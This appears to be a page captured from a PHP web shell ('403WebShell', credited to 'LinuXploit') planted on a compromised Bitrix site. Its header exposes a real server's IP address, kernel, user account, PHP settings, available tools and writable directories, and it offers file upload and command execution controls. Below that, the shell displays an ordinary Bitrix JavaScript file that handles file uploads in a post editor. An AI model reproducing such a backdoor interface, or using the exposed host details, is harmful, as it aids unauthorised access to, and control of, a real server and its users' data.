%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.17.75.27
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.post.form/templates/.default/src/parsers/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.post.form/templates/.default/src/parsers/files/disk-file.js
import {Loc, Tag, Runtime} from 'main.core';
import {EventEmitter, BaseEvent} from 'main.core.events';
import DiskController from './disk-controller';
import UploadFile from './upload-file';
import Editor from '../../editor';
/*
* @deprecated
* */
export default class DiskFile extends UploadFile
{
	id: string  = 'diskfile';
	regexp = /\[(?:DOCUMENT ID|DISK FILE ID)=([n0-9]+)\]/ig;

	init()
	{
		Array.from(
			this.editor.getContainer()
				.querySelectorAll('.diskuf-selectdialog')
		)
		.forEach((selectorNode, index) => {
			const cid = selectorNode.id.replace('diskuf-selectdialog-', '');
			let controller = this.controllers.get(cid);
			if (!controller)
			{
				controller = new DiskController(cid, selectorNode, this.editor);
				this.controllers.set(cid, controller);

				EventEmitter.subscribe(selectorNode.parentNode,
					'OnFileUploadSuccess',
					({data: [{element_id}, {CID}, blob]}) => {
						if (controller.getId() !== CID || this.values.has(element_id))
						{
							return;
						}
						const [id, fileId, file] = this.parseFile(selectorNode.querySelector('#disk-edit-attach' + element_id));
						this.values.set(id, file);
						if (id !== fileId)
						{
							this.values.set(fileId, file);
						}
						if (blob && blob['insertImageAfterUpload'] && file.image.src)
						{
							this.insertFile(id, file.node);
						}
					});
				EventEmitter.subscribe(selectorNode.parentNode,
					'OnFileUploadRemove',
					({compatData: [fileId, {CID}]}) => {

						if (controller.getId() === CID && this.values.has(fileId))
						{
							const file = this.values.get(fileId);
							this.values.delete(file.id);
							this.values.delete(file.fileId);
							this.deleteFile([file.id, file.fileId]);
						}
					});
				EventEmitter.subscribe(selectorNode.parentNode,
					'OnFileUploadFailed',
					({compatData: [file, {CID}, blob]}) => {
						if (controller.getId() === CID && blob && blob["referrerToEditor"])
						{
							BX.onCustomEvent(blob["referrerToEditor"], "OnImageDataUriCaughtFailed", []);
							BX.onCustomEvent(this.editor, "OnImageDataUriCaughtFailed", [blob["referrerToEditor"]]);
						}
					}
				);
				if (index === 0)
				{
					initVideoReceptionForTheFirstController(this, controller, selectorNode, this.editor);
					initImageReceptionForTheFirstController(this, controller, selectorNode, this.editor);
					EventEmitter.subscribe(this.editor.getEventObject(), 'onFilesHaveCaught', (event: BaseEvent) => {
						event.stopImmediatePropagation();
						controller.diskUfUploader.onChange([...event.getData()]);
					});
				}
			}

			if (selectorNode.querySelector('table.files-list'))
			{
				Array.from(
					selectorNode
						.querySelector('table.files-list')
						.querySelectorAll('tr')
				)
				.forEach((tr) => {
					const [id, fileId, file] = this.parseFile(tr);
					this.values.set(id, file);
					if (id !== fileId)
					{
						this.values.set(fileId, file);
					}
				});
			}
		});
	}

	parseFile(tr)
	{
		const id = String(tr.id.replace('disk-edit-attach', ''));

		const data = {
			id: id,
			name: tr.querySelector('[data-role="name"]') ? tr.querySelector('[data-role="name"]').innerHTML : tr.querySelector('span.f-wrap').innerHTML,
			fileId: tr.getAttribute('bx-attach-file-id'),
			node: tr,
			buttonNode: tr.querySelector('[data-role="button-insert"]'),
			image: {
				src: null,
				lowsrc: null,
				width: null,
				height: null
			}
		};
		const nameNode = tr.querySelector('.f-wrap');
		const insertFile = () => { this.insertFile(id, tr); };
		if (nameNode)
		{
			nameNode.addEventListener('click', insertFile);
			nameNode.style.cursor = 'pointer';
			nameNode.title = Loc.getMessage('MPF_FILE');
		}
		const imageNode = tr.querySelector('img.files-preview');

		if (imageNode && (imageNode.src.indexOf('bitrix/tools/disk/uf.php') >= 0 || imageNode.src.indexOf('/disk/showFile/') >= 0))
		{
			imageNode.addEventListener('click', insertFile);
			imageNode.title = Loc.getMessage('MPF_FILE');
			imageNode.style.cursor = 'pointer';
			data.image.lowsrc = imageNode.lowsrc || imageNode.src;
			data.image.src = (imageNode.rel || imageNode.getAttribute('data-bx-src') || imageNode.src).replace(/&(width|height)=\d+/gi, '');
			const handler = () => {
				data.image.width = imageNode.getAttribute('data-bx-full-width');
				data.image.height = imageNode.getAttribute('data-bx-full-height');
			}
			imageNode.addEventListener('load', handler);
			if (imageNode.complete)
			{
				handler();
			}
		}
		if (tr instanceof HTMLTableRowElement && !data.buttonNode)
		{
			data.buttonNode = Tag.render`
<span class="insert-btn" data-role="button-insert" onclick="${insertFile}">
	<span data-role="insert-btn" class="insert-btn-text">${Loc.getMessage('MPF_FILE_INSERT_IN_TEXT')}</span>
	<span data-role="in-text-btn" class="insert-btn-text" style="display: none;">${Loc.getMessage('MPF_FILE_IN_TEXT')}</span>
</span>`;
			setTimeout(() => {
				if ( tr.querySelector('.files-info'))
				{
					tr.querySelector('.files-info').appendChild(data.buttonNode);
					this.checkButtonsDebounced();
				}
			});
		}
		return [id, data.fileId, data];
	}

	buildText(id, params)
	{
		return `[DISK FILE ID=${id}${params||''}]`;
	}
}

function initVideoReceptionForTheFirstController(diskFileParser: DiskFile, controller: DiskController, selectorNode, editor: Editor)
{
	EventEmitter.subscribe(editor.getEventObject(), 'OnVideoHasCaught', (event: BaseEvent) => {
		const fileToUpload = event.getData();
		const onSuccess = ({data: [{element_id}, {}, blob]}) => {
			if (fileToUpload === blob && diskFileParser.values.has(element_id))
			{
				EventEmitter.unsubscribe(selectorNode.parentNode, 'OnFileUploadSuccess', onSuccess);
				diskFileParser.insertFile(element_id, diskFileParser.values.get(element_id).node);
			}
		}
		EventEmitter.subscribe(selectorNode.parentNode, 'OnFileUploadSuccess', onSuccess);
		controller.exec(() => {
			controller.diskUfUploader.onChange([fileToUpload])
		});
		event.stopImmediatePropagation();
	});
}
function initImageReceptionForTheFirstController(diskFileParser: DiskFile, controller: DiskController, selectorNode, editor: Editor)
{
	EventEmitter.subscribe(editor.getEventObject(), 'OnImageHasCaught', (event: BaseEvent) => {
		event.stopImmediatePropagation();
		const fileToUpload = event.getData();
		return new Promise((resolve, reject) => {
			const onSuccess = ({data: [{element_id}, {}, blob]}) => {
				if (fileToUpload === blob && diskFileParser.values.has(element_id))
				{
					EventEmitter.unsubscribe(selectorNode.parentNode, 'OnFileUploadSuccess', onSuccess);
					EventEmitter.unsubscribe(selectorNode.parentNode, 'OnFileUploadFailed', onFailed);

					const file = diskFileParser.values.get(element_id);
					const html = diskFileParser.buildHTML(element_id, file);
					resolve({image: file.image, html: html});
				}
			}
			const onFailed = ({data: [file, {}, blob]}) => {
				if (fileToUpload === blob)
				{
					EventEmitter.unsubscribe(selectorNode.parentNode, 'OnFileUploadSuccess', onSuccess);
					EventEmitter.unsubscribe(selectorNode.parentNode, 'OnFileUploadFailed', onFailed);
					reject();
				}
			};
			EventEmitter.subscribe(selectorNode.parentNode, 'OnFileUploadSuccess', onSuccess);
			EventEmitter.subscribe(selectorNode.parentNode, 'OnFileUploadFailed', onFailed);

			controller.exec(() => {
				controller.diskUfUploader.onChange([event.getData()])
			});
		});
	});
}


Youez - 2016 - github.com/yon3zu
LinuXploit